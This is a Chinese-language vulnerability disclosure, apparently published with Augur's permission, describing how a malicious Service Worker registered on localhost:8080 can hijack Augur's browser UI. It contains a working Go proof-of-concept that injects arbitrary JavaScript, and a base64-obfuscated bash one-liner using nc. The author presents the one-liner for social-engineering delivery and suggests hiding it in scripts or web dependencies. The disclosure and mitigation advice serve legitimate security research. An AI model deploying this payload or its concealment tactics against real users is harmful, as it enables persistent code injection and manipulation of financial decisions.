這份漏洞報告已于3星期之前發送給Augur,現在經對方允許我將漏洞細節公開。雖然攻擊過程本身有點復雜,在實際環境中難以實現,但的確是一種通用型攻擊方法,可以適用于多個去中心化應用。
目前Augur的架構主要由3個獨立的層所組成:
1、在最底層,Augur包含建立在以太坊(Ethereum)之上的一系列智能合約(smart contract)。這層由全局區塊鏈驅動,可以通過由用戶或者可信遠程實體操作的網關節點來訪問。
2、在中間層,Augur包含一個中間服務層,使用(可信)以太坊作為數據源,根據合約日志構建數據庫,為基于web的UI提供預先準備好的數據。
3、在最上層,Augur包含由可信Augur節點提供的web UI,用戶可以通過本地瀏覽器訪問http://localhost:8080
地址來與web UI交互。
在本文中,我們假設以太坊網絡、網關以及Augur網關都為可信單元,并且處于正常運行狀態。本文攻擊的是鏈條的最后一個環節,即用戶端的瀏覽器,最終實現將任意代碼注入Augur UI中。
Service Worker是獨立于web頁面,由瀏覽器在后臺運行的一個腳本,可以提供不需要web頁面或者用戶交互的服務,其核心功能是攔截并處理網絡請求。
~Google Developers
簡單總結一下,Service Worker是現在所有Web瀏覽器都支持的一種技術,允許網站注冊以后臺線程形式運行的任意JavaScript,其主要目的是允許脫機緩存,此時Service Worker可以劫持網絡請求并為其提供服務(包括任意更改網絡請求)。當用戶不具備互聯網連接時,Service Worker可以讓JavaScript代碼充當臨時服務器提供服務。
如果大家想了解更多細節,可以參考Google開發者頁面。從本文的角度來看,(除劫持網絡請求這個核心功能以外)最有趣的地方在于Service Work的生命周期以及威脅模型:
1、站點可以在任意時間點安裝Service Worker。這個Service Worker會一直處于有效執行狀態,除非被顯式取消注冊為止。即使頁面刷新、完全強制刷新甚至瀏覽器重啟,Service Worker都會處于正常工作狀態。Service Worker并沒有與伺服的特定內容綁定,即使面對全新的、不相關的內容,之前注冊的Service Worker也會處于活躍狀態。
2、不管從哪個角度來看,從設計方面講Service Worker天然就是一種MITM攻擊,因此存在非常嚴格的限制策略,只能從HTTPS來運行(確保網站只能注冊代碼,劫持屬于自己的內容),并且注冊的源與運行的源必須完全匹配(最嚴格的同源策略)。然而,localhost
并不受如此嚴格的限制策略影響,這樣開發者工作起來就比較輕松。
總結出這兩點后,我相信大家心里面已經有點數了。
本文介紹的攻擊思路用到了兩方面技術,一是濫用現代瀏覽器的Service Worker安全策略,二是利用了Augur在瀏覽器中運行UI這種設計特點,將兩者結合起來后,可以實現無縫劫持所有的Augur通信數據,同樣也能將任意代碼無縫注入Augur的UI:
1、Augur的UI運行在http://localhost:8080
,從SSL角度來看并沒有經過身份認證。我們無法證明來自不同會話的代碼是否屬于(或不屬于)同一個(或不同的)應用;
2、瀏覽器會將localhost
當成開發環境,因此允許站點在沒有使用SSL認證的情況下安裝并執行Service Worker;
3、Service Worker在瀏覽器中處于休眠狀態(沒有緩存控制,無法預先檢測),每次加載相同的源(http://localhost:8080
)時就會執行。
為了劫持Augur,我們首先需要在localhost:8080
安裝一個Service Worker。該任務至少需要我們在目標主機上運行一次Web服務器,并在用戶瀏覽器加載Augur之前至少加載一次localhost:8080
。
在分析這個操作的難度之前,我們先演示更加直觀的一種方法,以便更好理解攻擊過程。先來看看Go語言版本的完全自包含的一段漏洞利用示例代碼:
package main
import (
"fmt"
"net/http"
)
func main() {
// Start a web-server on port 8080, serving the demo HTML and JS injector
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprint(w, index)
})
http.HandleFunc("/pwner.js", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/javascript")
fmt.Fprint(w, pwner)
})
http.ListenAndServe(":8080", nil)
}
var index = `
<html>
<script>
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/pwner.js')
.then(function(registration) {
console.log('Registration successful, scope is:', registration.scope);
})
.catch(function(error) {
console.log('Service worker registration failed, error:', error);
});
}
</script>
<img id='gopher'/>
<script>
setTimeout(function() {
document.getElementById('gopher').src = 'https://gophercises.com/img/gophercises_jumping.gif';
}, 1000)
</script>
</html>
`
var pwner = `
// Inject ourselves as the base service worker for Augur
self.addEventListener('install', function(event) {
console.log('Service worker installing...');
self.skipWaiting();
});
self.addEventListener('activate', function(event) {
console.log('Service worker activating...');
clients.claim();
});
// Hijack and HTTP requests, we're looking for script loads
self.addEventListener('fetch', function(event) {
console.log('Fetching:', event.request.url);
if (event.request.url.startsWith("http://localhost:8080/main.")) {
// Main Augur application is loading, inject our custom script into it
event.respondWith(fetch(event.request.url)
.then(function(response) {
return response.text();
})
.then(function(text) {
return new Response(text + 'nsetTimeout(function() { alert("You are Pwned!") }, 3000);');
}));
}
});
`
這段代碼主要做了如下工作:
1、啟動一個Go web服務器,提供兩個URI服務地址,/
用于索引,pwner.js
用于Service Worker劫持;
2、index.html
頁面包含一小段腳本,該腳本將/pwner.js
注冊為Service Worker,同時還會顯示一只跳躍的地鼠,增加趣味性;
3、/pwner.js
這個Service Worker是一段簡單的腳本,會劫持所有的網絡請求,為每個請求打印日志,如果碰到與main.js
(Augur的代碼)有關的請求,就會在末尾注入任意一些JavaScript代碼。
我們可以使用go run exploit.go
命令運行上述代碼(你也可以將這些代碼保存為任意文件名),然后從瀏覽器中加載這個頁面。瀏覽器會顯示一只地鼠,沒有其他信息。然而如果我們查看JavaScript控制臺,應該能夠看到如下幾行內容:
Registration successful, scope is: http://localhost:8080/
pwner.js:4 Service worker installing…
pwner.js:9 Service worker activating…
pwner.js:15 Fetching: https://gophercises.com/img/gophercises_jumping.gif
此時我們可以停止運行Go攻擊服務器,關閉瀏覽器。劫持腳本已經成功注入,可以攔截localhost:8080
源上的任意內容。
隨著時間的推移(我們可以耐心等待,不要著急),用戶終于通過官方倉庫以及/或者客戶端下載并啟動Augur。隨后Augur App會啟動,從以太坊網絡同步本地數據庫。當同步完成后,用戶按下“Open Augur App”按鈕,從用戶瀏覽器中的應用加載Augur UI界面。
此時我們先前創建的處于休眠狀態的Service Worker就會開始執行,劫持UI與后端服務之間的所有網絡流量。這樣我們就可以任意修改用戶和服務之間的數據流,同樣也可以將任意JavaScript代碼注入UI中。
比如文章開頭那張圖中,我們注入了一段JavaScript警告代碼,顯示“You are Pwned!”信息。
這個漏洞的影響范圍其實非常廣泛。既然已經完全控制UI與后端服務器之間的網絡流量,也完全控制了UI展示的內容,攻擊者現在可以顯示任意的Augur市場、股份、統計數據等。
攻擊者并沒有直接控制用戶的資金,無法直接讓用戶簽名無效交易。然而,通過修改市場描述和統計數據,攻擊者可以說服用戶發起失敗的投資(比如顛倒獲勝條件),從而讓用戶損失慘重。攻擊者可以進一步在劫持的市場上對賭,直接獲取大量利益。
從技術角度來看,該漏洞之所以影響程度較大,是因為無需特權就能利用,只需運行一次,就能在用戶系統中永遠處于待命狀態,并且使用的是完全合法的瀏覽器功能,因此沒有任何漏洞檢測軟件能夠捕獲這種方法。
利用過程中最難的一點是如何在第一時間用于最終用戶。如前文所述,瀏覽器會對Service Worker強制啟用同源安全策略,因此在用戶系統上唯一能攻擊Augur的方法就是讓用戶從localhost:8080
加載一個惡意頁面。
前面的Go代碼的確是非常好的演示代碼,但顯然不適用于實際利用場景。我們需要更好的社會工程學方法,將利用載荷投遞給用戶系統。
現在攻擊加密貨幣用戶的一種常見方法就是讓用戶從各種網頁或者聊天消息中復制代碼然后粘貼到終端中。雖然這種方法聽起來比較愚笨,但的確行之有效,如果攻擊過程中不需要root訪問權限那會更加有用。
如下這段bash命令只包含791個字符,但功能齊全,可以提供2個不同的網頁,自動讓用戶瀏覽器加載這些網頁并注冊Service Worker。
echo SFRUUC8xLjEgMjAwIE9LDQoNCjxzY3JpcHQ+bmF2aWdhdG9yLnNlcnZpY2VXb3JrZXIucmVnaXN0ZXIoJycpPC9zY3JpcHQ+ | base64 -d | nc -lN 8080 > /dev/null && echo SFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IHRleHQvamF2YXNjcmlwdA0KDQpzZWxmLmFkZEV2ZW50TGlzdGVuZXIoImluc3RhbGwiLGZ1bmN0aW9uKGV2ZW50KXtzZWxmLnNraXBXYWl0aW5nKCl9KTtzZWxmLmFkZEV2ZW50TGlzdGVuZXIoImZldGNoIixmdW5jdGlvbihldmVudCl7aWYoZXZlbnQucmVxdWVzdC51cmwuc3RhcnRzV2l0aCgiaHR0cDovL2xvY2FsaG9zdDo4MDgwL21haW4uIikpe2V2ZW50LnJlc3BvbmRXaXRoKGZldGNoKGV2ZW50LnJlcXVlc3QudXJsKS50aGVuKGZ1bmN0aW9uKHJlc3BvbnNlKXtyZXR1cm4gcmVzcG9uc2UudGV4dCgpfSkudGhlbihmdW5jdGlvbih0ZXh0KXtyZXR1cm4gbmV3IFJlc3BvbnNlKHRleHQrYApzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7YWxlcnQoIllvdSBhcmUgUHduZWQhIil9LDMwMDApYCl9KSl9fSkK | base64 -d | nc -lN 8080 > /dev/null & xdg-open http://localhost:8080
這段代碼看上去人畜無害,攻擊者可以輕松將其隱藏在功能正常的一大段腳本中。由于注入動作不需要立即執行,因此受漏洞影響的用戶很難覺察到主機上存在一個等待運行的休眠載荷。
localhost
上的8080
端口通常是Web服務的標準端口。Web開發者也已經習慣了在上面運行所開發的代碼。許多服務、監控工具等也喜歡在類似8080
的端口上運行。這意味著在開發者主機上劫持8080
端口很有可能會成功,因此該操作只需要在任何Web依賴中添加幾行代碼,運行一次后就可以永久刪除,不會留下痕跡。
雖然開發者可能不愿意在主機上運行任意代碼(但實話實說,我們都運行了GitHub上的這段腳本,具體原因不表),但這個漏洞非常煩人,因為它可以運行在完全沙盒化的環境中(用戶的瀏覽器),因此沒人會想到簡單的一次頁面加載會在系統上留下任意攻擊代碼。
從本質上講,用于origin
沖突,通過用戶瀏覽器從localhost
運行Augur UI貌似不是最好的決定。瀏覽器總是會將localhost
當成一個特殊的對象,如果再遇上安全策略,可以想象到未來有很多漏洞能夠源自于此。如果Augur在許多功能上都要依賴Electron,那么可以考慮捆綁整個瀏覽器一起發布,并且單獨為Augur提供專用進程。這樣就能阻止其他瀏覽器會話將惡意腳本泄露給新的瀏覽器。
在8080
端口上運行也不是一個明智的選擇,這與其他許多服務商有沖突,也與開發者的默認選擇有沖突。在不常用的其他端口上提供服務應該不會對用戶體驗造成太大影響,但攻擊這個端口會比攻擊8080
常用端口要困難得多。